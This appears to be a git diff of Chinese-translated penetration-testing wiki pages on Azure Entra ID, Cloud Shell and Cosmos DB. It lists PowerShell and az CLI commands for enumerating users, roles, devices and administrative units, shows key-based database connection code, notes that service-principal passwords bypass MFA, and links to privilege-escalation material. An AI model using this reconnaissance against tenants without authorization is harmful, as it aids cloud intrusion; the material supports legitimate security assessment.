Azure Active Directory (Azure AD) 是微软基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,尤其包括 **身份验证、授权和用户管理**
Azure Active Directory (Azure AD) 是微软基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,尤其包括 **身份验证、授权和用户管理**
Azure AD 的关键特性包括 **多因素身份验证****条件访问**,以及与其他 Microsoft 安全服务的无缝集成。这些特性显著提升了用户身份的安全性并使组织能够有效实施和执行其访问政策。作为微软云服务生态系统的基本组成部分Azure AD 对于基于云的用户身份管理至关重要。
@@ -186,7 +186,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
当您通过 **CLI** 登录 Azure 时,您使用的是属于 **Microsoft****租户** 中的 **Azure 应用程序**。这些应用程序,如您可以在您的帐户中创建的应用程序,**具有客户端 ID**。您 **无法看到所有这些应用程序** 在控制台中可见的 **允许的应用程序列表** 中,**但它们默认是被允许的**。
例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员仍然可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。
例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。
然而,还有 **其他客户端 ID** 的应用程序 **将允许您连接到 Azure**
```bash
@@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
强烈建议为每个用户添加 MFA然而一些公司可能不会设置它或者可能会通过条件访问进行设置用户将被 **要求 MFA 如果**特定位置、浏览器或 **某些条件** 登录。如果这些策略配置不正确,可能会容易受到 **绕过**。检查:
强烈建议为每个用户添加 MFA然而一些公司可能不会设置它或者可能会通过条件访问进行设置用户特定位置、浏览器或 **某些条件** 登录时将 **需要 MFA**。如果这些策略配置不正确,可能会容易受到 **绕过**。检查:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -798,9 +798,9 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
> [!NOTE]
> 应用在请求令牌时用来证明其身份的秘密字符串是应用密码。\
> 因此,如果找到这个 **密码**,你可以作为 **服务主体** **访问** **租户**。\
> 请注意,这个密码在生成时可见(你可以更改它,但无法再次获取)。\
> **应用程序** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\
> 作为这些服务主体的登录 **不会被标记为风险**,并且 **不会有 MFA**。
> 请注意,这个密码只有在生成时可见(你可以更改它,但无法再次获取)。\
> **应用** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\
> 作为这些服务主体的登录 **不会被标记为风险**,并且它们 **不会有 MFA**。
可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用应用 ID 列表。
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#endtab }}
{{#endtabs }}
```
{{#endtab }}
{{#tab name="Raw" }}
```bash
# 直接通过 ARM 获取资源的权限
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
@@ -913,13 +906,12 @@ Headers = @{
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Entra ID 角色
For more information about Azure roles check:
有关 Azure 角色的更多信息,请查看:
{{#ref}}
../az-basic-information/
@@ -927,134 +919,125 @@ For more information about Azure roles check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# 列出模板 Entra ID 角色
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# 列出启用的内置 Entra ID 角色
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# 列出所有 Entra ID 角色及其权限(包括自定义角色)
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# 仅列出自定义 Entra ID 角色
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# 列出所有分配的 Entra ID 角色
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# 列出 Entra ID 角色的成员
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# 列出分配给用户的 Entra ID 角色
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# 列出分配给组的 Entra ID 角色
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# 列出分配给服务主体的 Entra ID 角色
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# 获取所有可用的角色模板
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# 获取启用的角色(分配的角色)
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #获取角色信息
# 获取自定义角色 - 使用 AzureAdPreview
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# 被分配角色的用户(全局管理员)
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# 管理单位的角色(谁对管理单位及其成员拥有权限)
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}
### Devices
### 设备
{{#tabs }}
{{#tab name="az cli" }}
```bash
# 如果你知道如何做到这一点,请发送一个 PR
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# 使用 Microsoft Graph PowerShell 枚举设备
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
# 获取设备详细信息
# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *
# 获取使用 Intune 管理的设备
# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
# 获取用户拥有的设备
# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
# 列出 Microsoft Graph PowerShell 中可用的命令
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# 枚举设备
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# 列出所有活动设备(而不是过时设备)
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# 获取所有设备的所有者
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# 所有设备的注册用户
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# 获取使用 Intune 管理的设备
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# 获取用户拥有的设备
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# 获取设备的管理单位
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}
> [!WARNING]
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将 **能够登录**\
> 此外,如果登录的用户是设备的 **所有者**,他将成为 **本地管理员**
### Administrative Units
### 管理单位
For more information about administrative units check:
有关管理单位的更多信息,请查看:
{{#ref}}
../az-basic-information/
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# 列出所有管理单位
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# 获取 AU 信息
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# 获取成员
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# 获取 AU 上具有角色的主体
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}
{{#tab name="AzureAD" }}
```bash
# 获取管理单位
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# 通过字符串获取管理员单位的ID
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# 列出受管理单位影响的用户、组和设备
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# 获取用户对AU成员的角色
Get-AzureADMSScopedRoleMembership -Id <id> | fl #获取角色ID和角色成员
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}
## Entra ID Privilege Escalation
## Entra ID 特权升级
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Azure 特权升级
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## 防御机制
### Privileged Identity Management (PIM)
### 特权身份管理 (PIM)
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
特权身份管理 (PIM) Azure 中帮助**防止不必要地将过多特权**分配给用户。
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
Note that the user will also be able to ask to **extend** the time.
PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其**在一段时间内(例如 6 个月)有资格**。然后,每当用户想要激活该角色时,他需要请求并指明他需要特权的时间(例如 3 小时)。然后**管理员需要批准**该请求。\
请注意,用户还可以请求**延长**时间。
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
此外,**PIM 会在特权角色被分配给某人时发送电子邮件**。
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
When PIM is enabled it's possible to configure each role with certain requirements like:
启用 PIM 后,可以为每个角色配置某些要求,例如:
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- A lot more configuration on when and who to send notifications when certain actions happen with that role
- 激活的最大持续时间(小时)
- 激活时需要 MFA
- 需要条件访问身份验证上下文
- 激活时需要理由
- 激活时需要票据信息
- 激活时需要批准
- 过期的合格分配的最大时间
- 还有更多关于何时以及谁在某些操作发生时发送通知的配置
### Conditional Access Policies
### 条件访问策略
Check:
检查:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Entra Identity Protection
### Entra 身份保护
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
Entra 身份保护是一项安全服务,允许**检测用户或登录尝试是否过于风险**以被接受,从而**阻止**用户或登录尝试。
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
它允许管理员配置在风险为“低及以上”、“中等及以上”或“高”时**阻止**尝试。尽管默认情况下它是完全**禁用**的:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
> 目前建议通过条件访问策略添加这些限制,在那里可以配置相同的选项。
### Entra Password Protection
### Entra 密码保护
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
It also allows to **ban a custom password list** that you need to provide.
Entra 密码保护 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定账户来帮助防止弱密码的滥用**。\
它还允许**禁止自定义密码列表**,该列表需要您提供。
It can be **applied both** at the cloud level and on-premises Active Directory.
它可以**同时应用于**云级别和本地 Active Directory
The default mode is **Audit**:
默认模式是**审计**
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## 参考
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)

View File

@@ -4,29 +4,29 @@
## Azure Cloud Shell
**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 文件共享来持久化文件。Cloud Shell 可以通过多个点访问,包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。
**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 文件共享来持久化文件。可以通过多个点访问 Cloud Shell包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。
此服务没有分配权限,因此没有特权升级技术。同时也没有任何类型的枚举。
### 主要特性
**环境**Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击。
**预安装工具**Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"。
**$HOME 持久性**:首次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault。
**Azure 驱动器 (Azure:)**Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源。
**自定义工具安装**配置了存储帐户的用户可以安装不需要根权限的额外工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置。
**环境**: Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击。
**预安装工具**: Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"。
**$HOME 持久性**: 第一次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault。
**Azure 驱动器 (Azure:)**: Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源。
**自定义工具安装**: 配置了存储帐户的用户可以安装不需要根权限的附加工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置。
## 参考
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## 持久性
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,32 +4,27 @@
## Azure CosmosDB
**Azure Cosmos DB** 是一个完全 **托管的 NoSQL、关系和向量数据库**,提供单毫秒级响应时间、自动扩展和具有企业级安全性的 SLA 支持的可用性。它通过即插即用的多区域数据分发、开源 API、流行语言的 SDK 以及集成向量支持无缝 Azure AI 集成等 AI 数据库功能,加速应用程序开发。
**Azure Cosmos DB** 是一个完全 **托管的 NoSQL、关系和向量数据库**,提供单毫秒级响应时间、自动扩展和具有企业级安全性的 SLA 支持的可用性。它通过即插即用的多区域数据分发、流行语言的开源 API、SDK 集成向量支持无缝 Azure AI 集成等 AI 数据库功能,加速应用程序开发。
Azure Cosmos DB 提供多种数据库 API以使用文档、关系、键值、图形和列族数据模型来建模现实世界的数据这些 API 包括 NoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin 和 Table。
CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置,如全球分布、一致性级别和要使用的特定 API例如 NoSQL。通过该账户您可以配置全球复制以确保数据在多个区域可用以实现低延迟访问。此外您可以选择在性能和数据准确性之间取得平衡的一致性级别选项范围从强一致性到最终一致性。
CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置,如全球分布、一致性级别和要使用的特定 API例如 NoSQL。通过该账户您可以配置全球复制以确保数据在多个区域可用以实现低延迟访问。此外您可以选择在性能和数据准确性之间取得平衡的一致性级别选项范围从强一致性到最终一致性。
### NoSQL (sql)
Azure Cosmos DB NoSQL API 是一个基于文档的 API使用 JSON 作为其数据格式。它提供类似 SQL 的查询语法来查询 JSON 对象,使其适合处理结构化和半结构化数据。该服务的端点是:
{% code overflow="wrap" %}
```bash
https://<Account-Name>.documents.azure.com:443/
```
{% endcode %}
#### 数据库
在一个户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配置的吞吐量,或为单个容器分配专用吞吐量。
在一个户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库作为资源管理和用户权限的边界。数据库可以在其容器之间共享预配置的吞吐量,或为单个容器分配专用吞吐量。
#### 容器
数据存储的核心单元是容器,它保存 JSON 文档并自动建立索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,"customerId" 作为分区键。
数据存储的核心单元是容器,它保存 JSON 文档并自动建立索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,"customerId" 作为分区键。
#### 枚举
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name <AccountName> --container-name <Cont
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosD
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### 连接
要连接 azure-cosmosDBpip install azure-cosmos库是必需的。此外端点和密钥是建立连接的关键组件。
{% code overflow="wrap" %}
要连接azure-cosmosDBpip install azure-cosmos库是必需的。此外端点和密钥是建立连接的关键组件。
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -158,11 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
{% endcode %}
另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录 (az login) 并执行它。对于这种情况,必须进行角色分配,以授予必要的权限 (见更多信息)
{% code overflow="wrap" %}
另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录 (az login) 并执行它。对于这种情况,必须进行角色分配,以授予必要的权限 (见更多)。
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
@@ -187,17 +174,11 @@ item = {
container.create_item(item)
print("Document inserted.")
```
{% endcode %}
### MongoDB
MongoDB NoSQL API 是一个基于文档的 API使用类似 JSON 的 BSONBinary JSON作为其数据格式。它提供了具有聚合能力的查询语言适合处理结构化、半结构化和非结构化数据。服务的端点通常遵循以下格式
{% code overflow="wrap" %}
MongoDB NoSQL API 是一个基于文档的 API使用类似 JSON 的 BSONBinary JSON作为其数据格式。它提供了具有聚合能力的查询语言使其适合处理结构化、半结构化和非结构化数据。服务的端点通常遵循以下格式:
```bash
mongodb://<hostname>:<port>/<database>
```
{% endcode %}
#### 数据库
在 MongoDB 中,您可以在一个实例中创建一个或多个数据库。每个数据库作为集合的逻辑分组,并提供资源组织和管理的边界。数据库有助于逻辑上分离和管理数据,例如用于不同的应用程序或项目。
@@ -206,9 +187,8 @@ MongoDB 中数据存储的核心单元是集合,它保存文档,并设计用
#### 枚举
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name <AccountName> --resource
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosDB
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGro
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### 连接
在这里,您可以通过密钥或在特权提升部分中描述的方法找到密码。
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -311,32 +287,30 @@ document = {
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
{% endcode %}
## 参考文献
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## 权限提升
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-cosmosDB-privesc.md
{{#endref}}
## 后期利用
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
{{#endref}}
## 待办事项
* 这里的其余数据库cassandragremlin...
* 查看后期利用 "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" 和角色定义,因为这里可能存在权限提升
* 查看恢复情况
* 查看恢复

View File

@@ -6,12 +6,12 @@
**Azure Files** 是一个完全托管的云文件存储服务,提供通过标准 **SMB (Server Message Block)****NFS (Network File System)** 协议访问的共享文件存储。尽管主要使用的协议是 SMB但 NFS Azure 文件共享不支持 Windows根据 [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol))。它允许您创建高度可用的网络文件共享,可以被多个虚拟机 (VM) 或本地系统同时访问,从而实现跨环境的无缝文件共享。
### 访问层
### 访问层
